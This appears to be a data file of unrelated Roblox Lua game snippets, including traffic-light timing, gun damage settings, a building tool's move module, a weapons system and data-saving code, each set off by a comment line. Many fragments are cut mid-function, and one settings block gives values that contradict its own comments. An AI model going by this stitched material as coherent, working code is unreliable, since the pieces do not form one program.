TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
end
|
-----------------------------------------ONLY EDIT THESE VALUES!!!!!-----------------------------------------
-----!Instructions!-----
--Make sure you have a part in the gun named Barrel, it is where the raycast will shoot from.--
--Just place this script into any gun and edit the values below.--
--Editting anything else will risk breaking it.--
------------------------
|
Damage = 20
SPS = 15 -- Shots Per Second, gives a limit of how fast the gun shoots.
Recoil = 3 -- [1-10] [1 = Minigun, 10 = Sniper]
WallShoot = false -- Shoots through walls.
GH = false -- [True = RB can't hurt RB.] [False = RB can hurt RB.]
BulletColor = "Cool yellow" -- Any Brickcolor will work.
Flash = true
|
-- ================================================================================
-- Settings - Splinter
-- ================================================================================
|
local Settings = {}
Settings.DefaultSpeed = 555 -- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 1567 -- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 1.5 -- Duration of boost in seconds
Settings.Steering = 15 -- How quickly the speeder turns [Range: 1-10]
|
-- Initialize tool subsystems
|
MoveTool.HandleDragging = require(script:WaitForChild 'HandleDragging')
.new(MoveTool)
MoveTool.FreeDragging = require(script:WaitForChild 'FreeDragging')
.new(MoveTool)
MoveTool.UIController = require(script:WaitForChild 'UIController')
.new(MoveTool)
function MoveTool:Equip()
-- Enables the tool's equipped functionality
-- Set our current axis mode
self:SetAxes(self.Axes)
-- Start up our interface
self.UIController:ShowUI()
self:BindShortcutKeys()
self.FreeDragging:EnableDragging()
end
function MoveTool:Unequip()
-- Disables the tool's equipped functionality
-- If dragging, finish dragging
if self.FreeDragging.IsDragging then
self.FreeDragging:FinishDragging()
end
-- Disable dragging
ContextActionService:UnbindAction 'BT: Start dragging'
-- Clear unnecessary resources
self.UIController:HideUI()
self.HandleDragging:HideHandles()
self.Maid:Destroy()
BoundingBox.ClearBoundingBox();
SnapTracking.StopTracking();
end
function MoveTool:SetAxes(AxisMode)
-- Sets the given axis mode
-- Update setting
self.Axes = AxisMode
self.AxesChanged:Fire(self.Axes)
-- Disable any unnecessary bounding boxes
BoundingBox.ClearBoundingBox();
-- For global mode, use bounding box handles
if AxisMode == 'Global' then
BoundingBox.StartBoundingBox(function (BoundingBox)
self.HandleDragging:AttachHandles(BoundingBox)
end)
-- For local mode, use focused part handles
elseif AxisMode == 'Local' then
self.HandleDragging:AttachHandles(Selection.Focus, true)
-- For last mode, use focused part handles
elseif AxisMode == 'Last' then
self.HandleDragging:AttachHandles(Selection.Focus, true)
end
end
function MoveTool:MovePartsAlongAxesByFace(Face, Distance, InitialStates, InitialFocusCFrame)
-- Moves the given parts in `InitialStates`, along the given axis mode, in the given face direction, by the given distance
-- Calculate the shift along the direction of the face
local Shift = Vector3.FromNormalId(Face) * Distance
-- Move along global axes
if self.Axes == 'Global' then
for Part, InitialState in pairs(InitialStates) do
Part.CFrame = InitialState.CFrame + Shift
end
-- Move along individual items' axes
elseif self.Axes == 'Local' then
for Part, InitialState in pairs(InitialStates) do
Part.CFrame = InitialState.CFrame * CFrame.new(Shift)
end
-- Move along focused item's axes
elseif self.Axes == 'Last' then
-- Calculate focused item's position
local FocusCFrame = InitialFocusCFrame * CFrame.new(Shift)
-- Move parts based on initial offset from focus
for Part, InitialState in pairs(InitialStates) do
local FocusOffset = InitialFocusCFrame:toObjectSpace(InitialState.CFrame)
Part.CFrame = FocusCFrame * FocusOffset
end
end
end
function MoveTool:BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
self.Maid.HotkeyStart = UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
if GameProcessedEvent then
return
end
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the current axis mode
if self.Axes == 'Global' then
self:SetAxes('Local')
elseif self.Axes == 'Local' then
self:SetAxes('Last')
elseif self.Axes == 'Last' then
self:SetAxes('Global')
end
-- Check if the R key was pressed down, and it's not the selection clearing hotkey
elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then
-- Start tracking snap points nearest to the mouse
self:StartSnapping()
-- Nudge up if the 8 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then
self:NudgeSelectionByFace(Enum.NormalId.Top)
-- Nudge down if the 2 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then
self:NudgeSelectionByFace(Enum.NormalId.Bottom)
-- Nudge forward if the 9 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then
self:NudgeSelectionByFace(Enum.NormalId.Front)
-- Nudge backward if the 1 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then
self:NudgeSelectionByFace(Enum.NormalId.Back)
-- Nudge left if the 4 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then
self:NudgeSelectionByFace(Enum.NormalId.Left)
-- Nudge right if the 6 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then
self:NudgeSelectionByFace(Enum.NormalId.Right)
-- Align the selection to the current target surface if T is pressed
elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then
self.FreeDragging:AlignSelectionToTarget()
end
end)
-- Track ending user input while this tool is equipped
self.Maid.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)
if GameProcessedEvent then
return
end
-- Make sure this is input from the keyboard
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Check if the R key was let go
if InputInfo.KeyCode == Enum.KeyCode.R then
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Reset handles if not dragging
if not self.FreeDragging.IsDragging then
self:SetAxes(self.Axes)
end
-- Stop snapping point tracking if it was enabled
SnapTracking.StopTracking();
-- If - key was released, focus on increment input
elseif (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then
self.UIController:FocusIncrementInput()
end
end)
end
function MoveTool:StartSnapping()
-- Starts tracking snap points nearest to the mouse
-- Hide any handles or bounding boxes
self.HandleDragging:AttachHandles(nil, true)
BoundingBox.ClearBoundingBox();
-- Avoid targeting snap points in selected parts while dragging
if self.FreeDragging.IsDragging then
SnapTracking.TargetBlacklist = Selection.Items;
end;
-- Start tracking the closest snapping point
SnapTracking.StartTracking(function (NewPoint)
-- Fire `SnappedPoint` and update `SnappedPoint` when there is a new snap point in focus
if NewPoint then
self.SnappedPoint = NewPoint.p
self.PointSnapped:Fire(self.SnappedPoint)
end
end)
end
function MoveTool:SetAxisPosition(Axis, Position)
-- Sets the selection's position on axis `Axis` to `Position`
-- Track this change
self:TrackChange()
-- Prepare parts to be moved
local InitialStates = self:PreparePartsForDragging()
-- Update each part
for Part in pairs(InitialStates) do
-- Set the part's new CFrame
Part.CFrame = CFrame.new(
Axis == 'X' and Position or Part.Position.X,
Axis == 'Y' and Position or Part.Position.Y,
Axis == 'Z' and Position or Part.Position.Z
) * (Part.CFrame - Part.CFrame.p);
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to move parts to target destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialStates) do
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialStates) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
self:RegisterChange()
end
function MoveTool:NudgeSelectionByFace(Face)
-- Nudges the selection along the current axes mode in the direction of the focused part's face
-- Get amount to nudge by
local NudgeAmount = self.Increment
-- Reverse nudge amount if shift key is held while nudging
local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));
if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then
NudgeAmount = -NudgeAmount;
end;
-- Track this change
self:TrackChange()
-- Prepare parts to be moved
local InitialState, InitialFocusCFrame = self:PreparePartsForDragging()
-- Perform the movement
self:MovePartsAlongAxesByFace(Face, NudgeAmount, InitialState, InitialFocusCFrame)
-- Indicate updated drag distance
self.DragChanged:Fire(NudgeAmount)
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to move parts to target destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
self:RegisterChange()
end
function MoveTool:TrackChange()
-- Start the record
self.HistoryRecord = {
Parts = Support.CloneTable(Selection.Parts);
BeforeCFrame = {};
AfterCFrame = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncMove', Changes);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncMove', Changes);
end;
};
-- Collect the selection's initial state
for _, Part in pairs(self.HistoryRecord.Parts) do
self.HistoryRecord.BeforeCFrame[Part] = Part.CFrame
end
end
function MoveTool:RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not self.HistoryRecord then
return
end
-- Collect the selection's final state
local Changes = {};
for _, Part in pairs(self.HistoryRecord.Parts) do
self.HistoryRecord.AfterCFrame[Part] = Part.CFrame
table.insert(Changes, { Part = Part, CFrame = Part.CFrame });
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncMove', Changes);
-- Register the record and clear the staging
Core.History.Add(self.HistoryRecord)
self.HistoryRecord = nil
end
function MoveTool:PreparePartsForDragging()
-- Prepares parts for dragging and returns the initial state of the parts
local InitialState = {};
-- Get index of parts
local PartIndex = Support.FlipTable(Selection.Parts)
-- Stop parts from moving, and capture the initial state of the parts
for _, Part in pairs(Selection.Parts) do
InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame };
Part.Anchored = true;
Part.CanCollide = false;
InitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex);
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
end;
-- Get initial state of focused item
local InitialFocusCFrame
local Focus = Selection.Focus
if not Focus then
InitialFocusCFrame = nil
elseif Focus:IsA 'BasePart' then
InitialFocusCFrame = Focus.CFrame
elseif Focus:IsA 'Model' then
InitialFocusCFrame = Focus:GetModelCFrame()
end
return InitialState, InitialFocusCFrame
end;
|
-- Tell owner to show footsteps
|
game.ReplicatedStorage.Interactions.Client.Perks.AllowDetective:FireClient(script.Owner.Value)
|
-- This finds the tank that we are controlling
|
parts = script.Parent.Parent.Parent.Turret.Value;
tankStats = parts.Stats;
game.Workspace.CurrentCamera.CameraType = "Track"
game.Workspace.CurrentCamera.CameraSubject = parts.CameraPart
|
---- STATE MODIFICATION ----
|
function ActiveCastStatic:Pause()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self.StateInfo.Paused = true
end
function ActiveCastStatic:Resume()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self.StateInfo.Paused = false
end
function ActiveCastStatic:Terminate()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
-- First: Set EndTime on the latest trajectory since it is now done simulating.
local trajectories = self.StateInfo.Trajectories
local lastTrajectory = trajectories[#trajectories]
lastTrajectory.EndTime = self.StateInfo.TotalRuntime
-- Disconnect the update connection.
self.StateInfo.UpdateConnection:Disconnect()
-- Now fire CastTerminating
self.Caster.CastTerminating:FireSync(self)
-- And now set the update connection object to nil.
self.StateInfo.UpdateConnection = nil
-- And nuke everything in the table + clear the metatable.
self.Caster = nil
self.StateInfo = nil
self.RayInfo = nil
self.UserData = nil
setmetatable(self, nil)
end
return ActiveCastStatic
|
-- Protected
|
function BaseState:_Enter()
self.offStateTime = 0
self:Enter()
end
|
--// Damage Settings
|
BaseDamage = 38; -- Torso Damage
LimbDamage = 30; -- Arms and Legs
ArmorDamage = 18; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
|
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:IsA("Humanoid") then
target:TakeDamage(amount)
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then
return
end
if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
end
end
local function _defaultGetTeamCallback(player)
return player.Team
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
if player1 == player2 or player1 == nil or player2 == nil then
-- This allows players to damage themselves and NPC's
return true
end
local player1Team = WeaponsSystem.getTeam(player1)
local player2Team = WeaponsSystem.getTeam(player2)
return player1Team == 0 or player1Team ~= player2Team
end
return WeaponsSystem
|
--[=[
@return Promise
Starts Knit. Should only be called once per client.
```lua
Knit.Start():andThen(function()
print("Knit started!")
end):catch(warn)
```
By default, service methods exposed to the client will return promises.
To change this behavior, set the `ServicePromises` option to `false`:
```lua
Knit.Start({ServicePromises = false}):andThen(function()
print("Knit started!")
end):catch(warn)
```
]=]
|
function KnitClient.Start(options: KnitOptions?)
if started then
return Promise.reject("Knit already started")
end
started = true
if options == nil then
selectedOptions = defaultOptions
else
assert(typeof(options) == "table", `KnitOptions should be a table or nil; got {typeof(options)}`)
selectedOptions = options
for k, v in defaultOptions do
if selectedOptions[k] == nil then
selectedOptions[k] = v
end
end
end
if type(selectedOptions.PerServiceMiddleware) ~= "table" then
selectedOptions.PerServiceMiddleware = {}
end
return Promise.new(function(resolve)
-- Init:
local promisesStartControllers = {}
for _, controller in controllers do
if type(controller.KnitInit) == "function" then
table.insert(
promisesStartControllers,
Promise.new(function(r)
debug.setmemorycategory(controller.Name)
controller:KnitInit()
r()
end)
)
end
end
resolve(Promise.all(promisesStartControllers))
end):andThen(function()
-- Start:
for _, controller in controllers do
if type(controller.KnitStart) == "function" then
task.spawn(function()
debug.setmemorycategory(controller.Name)
controller:KnitStart()
end)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
end)
end
|
--------------------[ CAMERA STEADYING FUNCTIONS ]------------------------------------
|
function SteadyCamera()
Gui_Clone.Scope.Steady.Text = "Steadying..."
Gui_Clone.Scope.Steady.TextColor3 = Color3.new(1, 1, 0)
CameraSteady = true
local OriginalSway = CameraSway
for X = 0, 90, 1.5 / 0.6 do
if (not Run_Key_Pressed) then break end
local Alpha = SIN(RAD(X))
CameraSway = NumLerp(OriginalSway, 0, Alpha)
RS:wait()
end
while Run_Key_Pressed and Aimed do
if CurrentSteadyTime > 0 then
local NewSteadyTime = CurrentSteadyTime - 1
CurrentSteadyTime = (NewSteadyTime < 0 and 0 or NewSteadyTime)
CameraSway = 0
elseif CurrentSteadyTime == 0 then
break
end
RS:wait()
end
CameraSteady = false
spawn(function()
for X = 0, 90, 1.5 / 0.2 do
local Alpha = math.log10(X) / math.log10(90)
CameraSway = NumLerp(0, 3, Alpha)
RS:wait()
end
for X = 0, 90, 1.5 / S.ScopeSteadyTime do
if CameraSteady then break end
local Alpha = SIN(RAD(X))
CameraSway = NumLerp(3, 1, Alpha)
RS:wait()
end
end)
RetakeBreath()
end
function RetakeBreath()
local Steady = Gui_Clone.Scope.Steady
Steady.Text = "Re-taking Breath"
Steady.TextColor3 = Color3.new(1, 0, 0)
TakingBreath = true
while TakingBreath do
if CurrentSteadyTime < MaxSteadyTime then
local NewSteadyTime = CurrentSteadyTime + (S.ScopeSteadyTime / S.SteadyCooldownTime)
CurrentSteadyTime = (NewSteadyTime > MaxSteadyTime and MaxSteadyTime or NewSteadyTime)
elseif CurrentSteadyTime >= MaxSteadyTime then
break
end
RS:wait()
end
if TakingBreath then
Steady.Text = "Hold "..ConvertKey(S.ScopeSteadyKey).." to Steady"
Steady.TextColor3 = Color3.new(1, 1, 0)
TakingBreath = false
end
end
|
--local speed = script.Parent.Speed
|
local tweenInfo = TweenInfo.new(
speed, -- Length (seconds)
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out,
0, -- times repeared
false, -- reverse
delayed -- delay
)
goals[ 1 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -30 ), 0 )
goals[ 2 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -60 ), 0 )
goals[ 3 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -90 ), 0 )
goals[ 4 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -120 ), 0 )
goals[ 5 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -150 ), 0 )
goals[ 6 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -180 ), 0 )
goals[ 7 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -210 ), 0 )
goals[ 8 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -240 ), 0 )
goals[ 9 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -270 ), 0 )
goals[ 10 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -300 ), 0 )
goals[ 11 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -330 ), 0 )
goals[ 12 ] = spin.CFrame
local i = 0
while spinning do
i = i % #goals + 1
local tween = TweenService:Create( spin, tweenInfo, { CFrame = goals[ i ] } )
tween:Play()
local state = tween.Completed:Wait()
if state == Enum.PlaybackState.Cancelled then
warn( 'Tween cancelled' )
break
end
end
|
--- Replaces arguments in the format $1, $2, $something with whatever the
-- given function returns for it.
|
function Util.SubstituteArgs(str, replace)
str = encodeCommandEscape(str)
-- Convert numerical keys to strings
if type(replace) == "table" then
for i = 1, #replace do
local k = tostring(i)
replace[k] = replace[i]
if replace[k]:find("%s") then
replace[k] = string.format("%q", replace[k])
end
end
end
return decodeCommandEscape(str:gsub("($%d+)%b{}", "%1"):gsub("$(%w+)", replace))
end
|
--[=[
Unpacks the brio, and then repacks it. Ignored items
still invalidate the previous brio
@since 3.6.0
@param predicate (T) -> boolean
@return (source: Observable<Brio<T>>) -> Observable<Brio<T>>
]=]
|
function RxBrioUtils.where(predicate)
assert(type(predicate) == "function", "Bad predicate")
return function(source)
return Observable.new(function(sub)
local maid = Maid.new()
maid:GiveTask(source:Subscribe(function(brio)
assert(Brio.isBrio(brio), "Not a brio")
if brio:IsDead() then
return
end
if predicate(brio:GetValue()) then
sub:Fire(brio)
end
end, sub:GetFailComplete()))
return maid
end)
end
end
|
-- Auto saving and issue queue managing:
|
RunService.Heartbeat:Connect(function()
-- 1) Auto saving: --
local auto_save_list_length = #AutoSaveList
if auto_save_list_length > 0 then
local auto_save_index_speed = SETTINGS.AutoSaveProfiles / auto_save_list_length
local os_clock = os.clock()
while os_clock - LastAutoSave > auto_save_index_speed do
LastAutoSave = LastAutoSave + auto_save_index_speed
local profile = AutoSaveList[AutoSaveIndex]
if os_clock - profile._load_timestamp < SETTINGS.AutoSaveProfiles then
-- This profile is freshly loaded - auto-saving immediately after loading will cause a warning in the log:
profile = nil
for i = 1, auto_save_list_length - 1 do
-- Move auto save index to the right:
AutoSaveIndex = AutoSaveIndex + 1
if AutoSaveIndex > auto_save_list_length then
AutoSaveIndex = 1
end
profile = AutoSaveList[AutoSaveIndex]
if os_clock - profile._load_timestamp >= SETTINGS.AutoSaveProfiles then
break
else
profile = nil
end
end
end
-- Move auto save index to the right:
AutoSaveIndex = AutoSaveIndex + 1
if AutoSaveIndex > auto_save_list_length then
AutoSaveIndex = 1
end
-- Perform save call:
-- print("[ProfileService]: Auto updating profile - profile_store_name = \"" .. profile._profile_store._profile_store_name .. "\"; profile_key = \"" .. profile._profile_key .. "\"")
if profile ~= nil then
coroutine.wrap(SaveProfileAsync)(profile) -- Auto save profile in new thread
end
end
end
-- 2) Issue queue: --
-- Critical state handling:
if ProfileService.CriticalState == false then
if #IssueQueue >= SETTINGS.IssueCountForCriticalState then
ProfileService.CriticalState = true
ProfileService.CriticalStateSignal:Fire(true)
CriticalStateStart = os.clock()
warn("[ProfileService]: Entered critical state")
end
else
if #IssueQueue >= SETTINGS.IssueCountForCriticalState then
CriticalStateStart = os.clock()
elseif os.clock() - CriticalStateStart > SETTINGS.CriticalStateLast then
ProfileService.CriticalState = false
ProfileService.CriticalStateSignal:Fire(false)
warn("[ProfileService]: Critical state ended")
end
end
-- Issue queue:
while true do
local issue_time = IssueQueue[1]
if issue_time == nil then
break
elseif os.clock() - issue_time > SETTINGS.IssueLast then
table.remove(IssueQueue, 1)
else
break
end
end
end)
|
-- ====================
-- SHOTGUN
-- Enable the gun to fire multiple bullet in one shot
-- ====================
|
ShotgunEnabled = false;
BulletPerShot = 8;
ShotgunReload = false; --Make user reloading like Shotgun, which user clipin shell one by one
ShotgunClipinAnimationID = nil; --Set to "nil" if you don't want to animate
ShotgunClipinAnimationSpeed = 1;
ShellClipinSpeed = 0.5; --In second
|
-- Backpack Version 5.1
-- OnlyTwentyCharacters, SolarCrane
|
local BackpackScript = {}
BackpackScript.OpenClose = nil -- Function to toggle open/close
BackpackScript.IsOpen = false
BackpackScript.StateChanged = Instance.new("BindableEvent") -- Fires after any open/close, passes IsNowOpen
BackpackScript.ModuleName = "Backpack"
BackpackScript.KeepVRTopbarOpen = true
BackpackScript.VRIsExclusive = true
BackpackScript.VRClosesNonExclusive = true
local ICON_SIZE = 55
local FONT_SIZE = Enum.FontSize.Size14
local ICON_BUFFER = 6.5
local BACKGROUND_FADE = 0.6
local BACKGROUND_COLOR = Color3.new(31/255, 31/255, 31/255)
local VR_FADE_TIME = 1
local VR_PANEL_RESOLUTION = 100
local SLOT_DRAGGABLE_COLOR = Color3.new(0.176471, 0.176471, 0.176471)
local SLOT_DRAGGABLE_TRANSPARENCY = 0.4
local SLOT_EQUIP_COLOR = Color3.new(1, 0.772549, 0.309804)
local SLOT_EQUIP_THICKNESS = 0 -- Relative
local SLOT_FADE_LOCKED = 0.6 -- Locked means undraggable
local SLOT_BORDER_COLOR = Color3.new(0.411765, 0.619608, 1) -- Appears when dragging
